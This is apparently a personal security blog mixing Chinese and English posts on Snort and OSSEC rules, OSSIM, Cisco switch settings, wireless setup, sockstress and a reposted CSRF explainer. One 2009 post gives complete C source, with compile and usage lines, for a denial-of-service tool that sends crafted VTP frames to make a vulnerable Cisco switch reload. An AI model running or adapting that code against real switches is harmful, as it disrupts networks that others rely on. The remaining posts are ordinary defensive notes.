2015年8月5日星期三

The integration of Fastnetmon and Exabgp

Fastnetmon use /var/run/exabgp.cmd  to transfer control commands to Exabgp;

Exabgp use "run /usr/bin/socat stdout pipe:/var/run/exabgp.cmd" to pipe the command;

by default, Exabgp will fail with ERR " Too many respawn for dynamic terminating program"


you must run command:

rm /var/run/exabgp.cmd
mkfifo /var/run/exabgp.cmd 

to make the "/var/run/exabgp.cmd" into fifo type file



2009年4月30日星期四

php中intval()函数的安全应用的思考

看了php内置函数intval()使用不当导致安全漏洞的分析

我感觉一般情况下:intval()是用在对用户提交的信息进行过滤,去掉非数字,来防止sql注入。很少会有程序,用来if判断。而在if判断的情况下,加不加intval()并不影响任何黑盒测试的结果。无法进一步的扩展。

2009年4月9日星期四

怎样在windows xp(32bit)系统上的vmware中安装64位操作系统

由于ossim-1.2的ios是只支持64bit的,因此在vm上安装过程中出现了些问题,解决方法如下:

1.首先要确认使用的cpu是支持的.
在www.vmware.com/info?id=152中讲的比较清楚,AMD64必须是在revison D之后的才能支持,Intel的需要EM64T and VT support。通过cpu-z可以知道我的T7500是支持EM64T的,这就需要第二步
2.开启VT support
在BIOS的设置中,找到VT的开关,使其Enable。然后重要的一点是,主机必须“冷启动”,即按power键启动,该设置才能生效。


2009年4月2日星期四

What is a Snort Preprocessor?

Preprocessors are pluggable components of Snort, introduced since version 1.5. They're "located" just after the module of protocol analysis and before the detection engine and do not depend of rules. They are called whenever a packet arrives, but JUST ONCE, the detection plugins, in the other hand, do depend of rules and may be applied many times for a single packet. SPP's can be used in different ways: They can look for an specific behavior(portscan, flowportscan), to be support for further analysis like flow, or just collect certain information, like perfmonitor.

2009年3月30日星期一

A tip of cooking OSSEC rules

How to config OSSEC rules to ignore something?
I have the logs like this

Mar 30 17:50:20 192.168.x.201 192.168.xx.104 - - [30/Mar/2009:17:50:43 +0800] "OPTIONS /svn HTTP/1.1" 401 401
Mar 30 17:50:21 192.168.x.201 192.168.xx.104 - root [30/Mar/2009:17:50:44 +0800] "OPTIONS /svn HTTP/1.1" 401 401
Mar 30 17:50:22 192.168.x.201 192.168.xx.104 - svn [30/Mar/2009:17:50:45 +0800] "OPTIONS /svn HTTP/1.1" 401 401
Mar 30 17:50:24 192.168.x.201 192.168.xx.104 - user [30/Mar/2009:17:50:46 +0800] "OPTIONS /svn HTTP/1.1" 401 401

I just want alert,when somebody make 4xx errors in a short time. but I want to ignore the "-",in the user field.

first, I add the user field in etc/decoder.xml

web-log ^\d+.\d+.\d+.\d+ ^(\d+.\d+.\d+.\d+) \S+ (\S+) [\S+ \S\d+] "\w+ (\S+) HTTP\S+ (\d+) srcip, user, url, id the add new rules 31101 ^- 31101 Multiple web server 4XX error code. from same source ip. alert_by_email attack,


You can ignore the user field is "-",by let the level=0,in front rule 31166.

2009年3月29日星期日

the frag3 preprocess in snort

why need the frag3 preprocessor?
frag3 preprocessor is a target-based analysis.
The term “target-based” is to identify an intelligent IDS that is informed about hosts residing on the network and is capable of analyzing traffic sent to those hosts as the host itself analyzes the traffic.
It improve the accuracy of the IDS.

for example:


How to use frag3 preprocessor in snort.conf?


like:
preprocessor frag3_engine: policy first, bind_to 10.4.10.0/24

Now any overlapping fragments that Snort sees destined for subnet 10.4.1.x are reassembled using the “first”
fragmentation policy, so that Snort reassembles fragments destined to those hosts in precisely the same way as the
Windows hosts themselves.

2009年3月27日星期五

snort rule for MS08-067

alert tcp any any -> any 445 (msg:"MS08067 RPC exploit"; content:"|2e 00 5c 00 5c|";offset:140; content:"|00 5c 00 2e 00 2e 00 5c 00 2e 00 2e 00 5c 00|"; within:20;metadata:service RPC; classtype:bad-unknown; sid:9000015; rev:1;)




it works!

2009年3月17日星期二

what's the manner of ossimframework.OssimDB : Error executing query (INSERT INTO event_stats....

ossim version 1.0.6,has a bug: it didn't create the snort.event_stats table,cause the events->event stats display error.

this problem described in https://www.ossim.net/forum/index.php?t=msg&goto=1125&S=fa53755c1ecfa7a74cb39dc4c245919e&srch=%22Event+Stats%22#msg_1125

you can resolve this through:
mysql -uroot -p snort < snort.event_stats.sql

2009年3月6日星期五

apache的index设置


DirectoryIndex index.html index.php

index.html和index.php直接要使用 '空格'而不是 ,

2009年2月27日星期五

How to bind mac-address to cisco switch port

interface:
switchport port-security
switchport port-security violation restrict
switchport port-security mac-address 1111.1111.1111

the "restrict" is recommend

2009年1月14日星期三

DoS code for Cisco VLAN Trunking Protocol Vulnerability

/*DoS code for Cisco VLAN Trunking Protocol Vulnerability
*
*vulerability discription:
*http://www.cisco.com/warp/public/707/cisco-sr-20081105-vtp.shtml
*
*To Known:
* 1.the switch must in Server/Client Mode.
* 2.the port ,attacker connected,must be in trunk Mode.
* Cisco Ethernet ports with no configuration are not
* in trunk.but trunk mode can be obtained through DTP
* attack by Yersinia.
* 3.you must known the vtp domain,this can be sniffed
* 4.some codes are from Yersinia.
*
*Result:
* switch reload.
*
*
*Compile:
* gcc -o vtp `libnet-config --libs` vtp.c
*
*Usage:vtp -i -d
*
*Contact: showrun.lee[AT]gmail.com
*http://sh0wrun.blogspot.com/
*/
#include
#include
#include

#define VTP_DOMAIN_SIZE 32
#define VTP_TIMESTAMP_SIZE 12

struct vtp_summary {
u_int8_t version;
u_int8_t code;
u_int8_t followers;
u_int8_t dom_len;
u_int8_t domain[VTP_DOMAIN_SIZE];
u_int32_t revision;
u_int32_t updater;
u_int8_t timestamp[VTP_TIMESTAMP_SIZE];
u_int8_t md5[16];
};

struct vtp_subset {
u_int8_t version;
u_int8_t code;
u_int8_t seq;
u_int8_t dom_len;
u_int8_t domain[VTP_DOMAIN_SIZE];
u_int32_t revision;
};

void usage( char *s) {
printf("%s -i -d \n",s);
exit (1);
}

int main( int argc, char *argv[] )
{
int opt,k=0;
extern char *optarg;
libnet_ptag_t t;
libnet_t *lhandler;
u_int32_t vtp_len=0, sent;
struct vtp_summary *vtp_summ;
struct vtp_subset *vtp_sub;
u_int8_t *vtp_packet,*vtp_packet2, *aux;
u_int8_t cisco_data[]={ 0x00, 0x00, 0x0c, 0x20, 0x03 };
u_int8_t dst_mac[6]={ 0x01,0x00,0x0c,0xcc,0xcc,0xcc };
u_int8_t aaa[8]={ 0x22,0x00,0x11,0x22,0x11,0x00,0x00,0x00 };
struct libnet_ether_addr *mymac;
char *device;
char error_information[LIBNET_ERRBUF_SIZE];
char *domain;

// get options
while ((opt = getopt(argc, argv, "i:d:")) != -1)
{
switch (opt) {
case 'i':
device=malloc(strlen(optarg));
strcpy(device,optarg);
k=1;
break;

case 'd':
domain=malloc(strlen(optarg));
strcpy(domain,optarg);
break;

default: usage(argv[0]);
}
}
if(!k) { printf(" %s -i -d \n must assign the interface\n",argv[0]);exit(1);}

//init libnet

lhandler=libnet_init(LIBNET_LINK,device,error_information);
if (!lhandler) {
fprintf(stderr, "libnet_init: %s\n", error_information);
return -1;
}

mymac=libnet_get_hwaddr(lhandler);
//build the first packet for vtp_summary
vtp_len = sizeof(cisco_data)+sizeof(struct vtp_summary);
vtp_packet = calloc(1,vtp_len);
aux = vtp_packet;
memcpy(vtp_packet,cisco_data,sizeof(cisco_data));
aux+=sizeof(cisco_data);
vtp_summ = (struct vtp_summary *)aux;
vtp_summ->version = 0x01;
vtp_summ->code = 0x01;//vtp_summary
vtp_summ->followers = 0x01;
vtp_summ->dom_len = strlen(domain);
memcpy(vtp_summ->domain,domain,strlen(domain));
vtp_summ->revision = htonl(2000);//bigger than the current revision number will ok
t = libnet_build_802_2(
0xaa, /* DSAP */
0xaa, /* SSAP */
0x03, /* control */
vtp_packet, /* payload */
vtp_len, /* payload size */
lhandler, /* libnet handle */
0); /* libnet id */
t = libnet_build_802_3(
dst_mac, /* ethernet destination */
mymac->ether_addr_octet, /* ethernet source */
LIBNET_802_2_H + vtp_len, /* frame size */
NULL, /* payload */
0, /* payload size */
lhandler, /* libnet handle */
0); /* libnet id */

sent = libnet_write(lhandler);

if (sent == -1) {
libnet_clear_packet(lhandler);
free(vtp_packet);
return -1;
}
libnet_clear_packet(lhandler);

//build the second vtp packet for vtp_subset
vtp_len = sizeof(cisco_data)+sizeof(struct vtp_subset);
vtp_packet2 = calloc(1,vtp_len);
aux = vtp_packet2;
memcpy(vtp_packet2,cisco_data,sizeof(cisco_data));
aux+=sizeof(cisco_data);

vtp_sub = (struct vtp_subset *)aux;
vtp_sub->version = 0x01;
vtp_sub->code = 0x02; //vtp_subset
vtp_sub->seq = 0x01;
vtp_sub->dom_len = strlen(domain);
memcpy(vtp_sub->domain,domain,strlen(domain));
vtp_sub->revision = htonl(2000);//bigger than the current revision number will ok
// memcpy(vtp_sub->aaa,aaa,strlen(aaa));

t = libnet_build_802_2(
0xaa, /* DSAP */
0xaa, /* SSAP */
0x03, /* control */
vtp_packet2, /* payload */
vtp_len, /* payload size */
lhandler, /* libnet handle */
0); /* libnet id */
t = libnet_build_802_3(
dst_mac, /* ethernet destination */
mymac->ether_addr_octet, /* ethernet source */
LIBNET_802_2_H + vtp_len, /* frame size */
NULL, /* payload */
0, /* payload size */
lhandler, /* libnet handle */
0); /* libnet id */

sent = libnet_write(lhandler);
if (sent == -1) {
libnet_clear_packet(lhandler);
free(vtp_packet);
return -1;
}
libnet_clear_packet(lhandler);
}

2009年1月6日星期二

"repeater mode" in the DD-WRT

If you want to repeat the network from an another AP,you can set the wireless->basic-setting->"Wireless Physical Interface" to "client" or "client bridge","repeater" or "repeater bridge".the difference between these can be searched. what I want to say is above all you must set setup->Basic setup-> WAN Connection Type->connection type in "DHCP" mod。 because without this the dd-wrt cannot acquire IP address from the another AP,which you want to repeated。

2009年1月4日星期日

Debian下使用monit实现程序的自动重启

debian是使用monit来实现对允许的程序进行监控,并能实现自动重启。

另外在/etc/inittab,使用respawn选项,也可以实现对程序的实时监控。

watchdog实现的目标是对系统的状态进行监控,当出现异常时可以重启操作系统,并不适合对进程状态的监控。

2008年12月24日星期三

how to config wireless with iwconfig

1. list the wireless ap
iwlist scan
2. set the $ssid name of ap
iwconfig wlan0 essid $ssid
3. set the $key of wep
iwconfig wlan0 key s:$key --> ascii mod
iwconfig wlan0 key xxxx-xxxx-xx --> hex mod
4. specify the ap's mac
iwconfig wlan0 ap xx:xx:xx:xx:xx:xx

obtain ip address from:
dhclient wlan0

2008年12月23日星期二

why kismet shows "FATAL:Unknown capture source type..." error

you must install the libpcap BEFORE the compiling kismet from source.

and, when you ./configure with the "--disable-setuid" option will be helpful,becouse with this you did not assign the "suiduser“ in kismet.conf。

2008年12月17日星期三

Snort with Ossim-agent

Ossim agent cannot support new snort-2.8 with the 2.6.1-ossim.patch file;although the patching works well;

when using patched snort-2.8 to generate the Unified log,that Ossim agent will stop analyse it。Maybe there are some incompatible;

When I use snort-2.6.1 with 2.6.1-ossim.patch , It works well。

2008年10月22日星期三

sockstress的分析

WHAT IS SOCKSTRESS?
A generic issue that affects the availability of TCP services. This issue could be used to create a Denial of Service attack. So far it is reported that this affects all systems running any service utilizing TCP, including Windows, Mac, Linux, and BSD.
Operating system makers may be forced to do some serious modifications to their TCP/IP stacks, thanks to the TCP sockstress vulnerability which has been hitting the news over the last few weeks.
TCP sockstress is a potentially serious generic issue in many operating systems that affects the availability of TCP services. Jack C. Louis, a security researcher at a Outpost 24, a network security company based in Karlskrona, Sweden discovered it. The company's CSO, Robert E. Lee, is the author of Unicornscan, a formidably fast scanner much loved by penetration testers which, unlike Nmap, has its own TCP/IP stack and which is capable of scanning an internal class B network (that's 65,000 + hosts) in less than three minutes.
A DoS attack exploiting the sockstress vulnerability uses half-open connections to deplete resources in the machines under attack. It very quickly causes specific services to become unavailable and may even require complete machine reboots.
What's worrying is that Louis claims the attack is effective against almost anything on a network (Windows, BSD, Linux, embedded systems TCP/IP stack implementations ... you name it), and the attack can be successful when packets are sent to a targeted machine at the rate of just one packet per second. Presumably, a bot would have to carry out such an attack (so the feds don't turn up at the attacker's door), but there would certainly be no need for a vast botnet or a high bandwidth connection to the Internet. By the sound of it, you could bring down a Web site with a single machine connected and an old AOL dial-up connection.


搜索了一下网上的资料,sockstress攻击的细节还没有披露,目前透露出来的只是
一些零星的信息。

http://searchsecurity.techtarget.com/news/article/0,289142,sid14_gci1332898,00.html
是个不错的文章

sockstress攻击是由在芬兰的两个研究人员(其中一个是瑞典人),在开发一款大范
围扫描软件unicornscan(http: //www.unicornscan.org/),时发现的。当时他们
发现在自己扫描的过的一些机器,出现了重新启动的现象。

通过披露的信息能够证实:
1.有由于tcp的3次握手出现问题导致。
2.会造成tcp连接资源的耗尽,在某种情况下会造成设备的重启。
3.针对开启syn-cookie的功能的设备也是有效的。
4.该攻击需要真实的ip进行攻击。
5.使用了client-syn-cookie技术,减少了客户段的负载。


在一篇问答中,作者提到了:
/Jack [Robert’s partner] would like to stress that turning off server
side SYN-Cookie protection will not help and will only make you
open to syn flood attacks again (as stated in Fyodor’s article)./

尽管没有任何详细的信息披露,但是我发现作者多次提到了syn-cookie。而且他所
通知的存在问题的厂家好多是firewall和ips厂商。
我怀疑有可能是攻击者,发现了syn-cookie中存在的漏洞。在某种情况下能够准确
的推断出syn-cookie所回应的syn/ack的 sequence number。从而能直接通过发送
ack数据包,就能正常建立起连接。

这是我的判断,继续关注吧

2008年10月16日星期四

Cisco交换机漏洞

cisco交换机在处理vtp协议时,存在DoS漏洞;已经得到了cisco官方的确认,最新版本的交换机IOS也存在该问题。

按照cisco要求,目前该漏洞的细节暂时不公开。

2008年9月22日星期一

对几个mindmap工具的评估

freemind:
在Linux下对中文支持的不好。

mindomo:
在线工具,功能强大,但是在linux对中文支持有问题,而且界面操作过程中也存在些问题。

mindmeister
对中文支持比较好,而且我也用了一段时间;但是免费的basic版,只能建6个图;而付费版使用每月的费用是4$/m,而且是年付;对国内人来说,确实有些舍不得。


因此在linux下,最后的选择可能还是要用dia

2008年9月21日星期日

CSRF攻击原理解析


Write by admin in 未分类 at 2008-09-21 11:08:19

|=——————————————————————=|
|=————–=[ CSRF攻击原理解析 ]=——————=|
|=——————————————————————=|
|=——————-=[ By rayh4c ]=————————=|
|=————-=[ rayh4c@80sec.com ]=——————-=|
|=——————————————————————=|

Author: rayh4c [80sec]
EMail: rayh4c#80sec.com
Site: http://www.80sec.com
Date: 2008-9-21

0×00. 前言

在Web程序中普通用户一般只在Web界面里完成他想要的操作,Web程序接受的正常客户端请求一般来自用户的点击链接和表单提交等行为,可是恶意攻击者却可以依靠脚本和浏览器的安全缺陷来劫持客户端会话、伪造客户端请求。


0×01. CSRF攻击分类

CSRF是伪造客户端请求的一种攻击,CSRF的英文全称是Cross Site Request Forgery,字面上的意思是跨站点伪造请求。这种攻击方式是国外的安全人员于2000年提出,国内直到06年初才被关注,早期我们团队的剑心使用过 CSRF攻击实现了DVBBS后台的SQL注射,同时网上也出现过动易后台管理员添加的CSRF漏洞等,08年CSRF攻击方式开始在BLOG、SNS等 大型社区类网站的脚本蠕虫中使用。

CSRF的定义是强迫受害者的浏览器向一个易受攻击的Web应用程序发送请求,最后达到攻击者所需要的操作行为。CSRF漏洞的攻击一般分为站内和站外两种类型:

CSRF站内类型的漏洞在一定程度上是由于程序员滥用$_REQUEST类变量造成的,一些敏感的操作本来是要求用户从表单提交发起POST请求传参给程 序,但是由于使用了$_REQUEST等变量,程序也接收GET请求传参,这样就给攻击者使用CSRF攻击创造了条件,一般攻击者只要把预测好的请求参数 放在站内一个贴子或者留言的图片链接里,受害者浏览了这样的页面就会被强迫发起请求。

CSRF站外类型的漏洞其实就是传统意义上的外部提交数据问题,一般程序员会考虑给一些留言评论等的表单加上水印以防止SPAM问题,但是为了用户的体验 性,一些操作可能没有做任何限制,所以攻击者可以先预测好请求的参数,在站外的Web页面里编写javascript脚本伪造文件请求或和自动提交的表单 来实现GET、POST请求,用户在会话状态下点击链接访问站外的Web页面,客户端就被强迫发起请求。

0×02. 浏览器的安全缺陷

现在的Web应用程序几乎都是使用Cookie来识别用户身份以及保存会话状态,但是所有的浏览器在最初加入Cookie功能时并没有考虑安全因素,从 WEB页面产生的文件请求都会带上COOKIE,如下图所示,Web页面中的一个正常的图片所产生的请求也会带上COOKIE:

↓

GET http://website.com/log.jpg
Cookie: session_id
客户端 ——————————————————-服务器

浏览器的这种安全缺陷给CSRF漏洞的攻击创造了最基本的条件,因为Web页面中的任意文件请求都会带上COOKIE,所以我们将文件地址替换为一个链接 的话,用户访问Web页面就相当于会话状态下自动点击了链接,而且带有SRC属性具有文件请求的HTML标签,如图片、FLASH、音乐等相关的应用都会 产生伪造GET请求的CSRF安全问题。一个web应用程序可能会因为最基本的渲染页面的HTML标签应用,而导致程序里所有的GET类型传参都不可靠。

0×03. 浏览器的会话安全特性

参照Set-Cookie的标准格式,现今浏览器支持的cookie实际上分为两种形式:

Set-Cookie: =[; =] [; expires=][; domain=] [; path=][; secure][; HttpOnly]

一种是内存COOKIE,在没有设定COOKIE值的expires参数,也就是没有设置COOKIE的失效时间情况下,这个COOKIE在关闭浏览器后 将失效,并且不会保存在本地。另外一种是本地保存COOKIE,也就是设置了expires参数,COOKIE的值指定了失效时间,那么这个COOKIE 会保存在本地,关闭浏览器后再访问网站,在COOKIE有效时间内所有的请求都会带上这个本地保存COOKIE。

Internet Explorer有一个隐私报告功能,其实这是一个安全功能,它会阻挡所有的第三方COOKIE,比如A域Web页面嵌入了B域的文件,客户端浏览器访问 了A域的Web页面后对B域所发起的文件请求所带上的COOKIE会被IE拦截。除开文件请求情况,A域的Web页面如果使用IFRAME帧包含B域的 Web页面,访问A域的Web页面后,B域的Web页面里的所有请求包括文件请求带上的COOKIE同样会被IE拦截。不过Internet Explorer的这个安全功能有两个特性,一是不会拦截内存COOKIE,二是在网站设置了P3P头的情况下,会允许跨域访问COOKIE,隐私报告功 能就不会起作用了。

所以在Internet Explorer的这个安全特性的前提下,攻击者要进行站外的CSRF攻击使用文件请求来伪造GET请求的话,受害者必须在使用内存COOKIE也就是没 有保存登陆的会话状态下才可能成功。而Firefox浏览器并没有考虑使用这样的功能,站外的CSRF攻击完全没有限制。

0×04. 关于Javascript劫持技术

近年来的web程序频繁使用Ajax技术,JSON也开始取代XML做为AJAX的数据传输格式,JSON实际上就是一段javascript,大部分都 是定义的数组格式。fortify公司的三位安全人员在2007年提出了Javascript劫持技术,这是一种针对JSON动态数据的攻击方式,实际上 这也是一种变相的CSRF攻击。攻击者从站外调用一个script标签包含站内的一个JSON动态数据接口,因为[script src="”"] (此处<>由[]代替)这种脚本标签的文件请求会带上COOKIE,用户访问后相当于被迫从站外发起了一个带有身份认证COOKIE的GET请求,web程序 马上返回了用户相关的JSON数据,攻击者就可以取得这些关键的JSON数据加以利用,整个过程相当于一个站外类型的CSRF攻击。

WEB应用中的JSON数据大部分使用在个人资料、好友列表等隐私功能里,这类数据一般是web蠕虫最重要的传播功能所需要的数据,而CSRF攻击结合 Javascript劫持技术完全可以分析这类数据制作自动传播的web蠕虫,在一定情况下这种web蠕虫比网站出现跨站脚本漏洞制作的web蠕虫更具威 胁性,几乎不受网站架构的限制,因为攻击者利用的不是传统的Web漏洞而是网站自身正常的功能,如果出现这类CSRF蠕虫,对网站的打击将是灾难性的。

0×05. 安全提醒

各个大型社区类网站必须警惕CSRF攻击和相关web蠕虫的爆发,并且针对这类web攻击制定有效的应急措施。同建议程序员不要滥用$_REQUEST类 变量,在必要的情况下给某些敏感的操作加上水印,考虑使用类似DISCUZ论坛的formhash技术提高黑客预测请求参数的难度,注意JSON数据接口 的安全问题等。最后希望大家全面的考虑客户端和服务端整体的安全,注意Internet Explorer等客户端浏览器一些安全缺陷和安全特性,防止客户端程序的安全问题影响整个Web应用程序。

参考:

http://blog.csdn.net/lake2/archive/2008/04/02/2245754.aspx
http://www.cgisecurity.com/articles/csrf-faq.shtml
http://www.playhack.net/view.php?id=31
http://www.fortify.com/servlet/downloads/user/JavaScript_Hijacking.pdf
http://www.w3.org/P3P/

本站内容均为原创,转载请务必保留署名与链接!
CSRF攻击原理解析:http://www.80sec.com/csrf-securit.html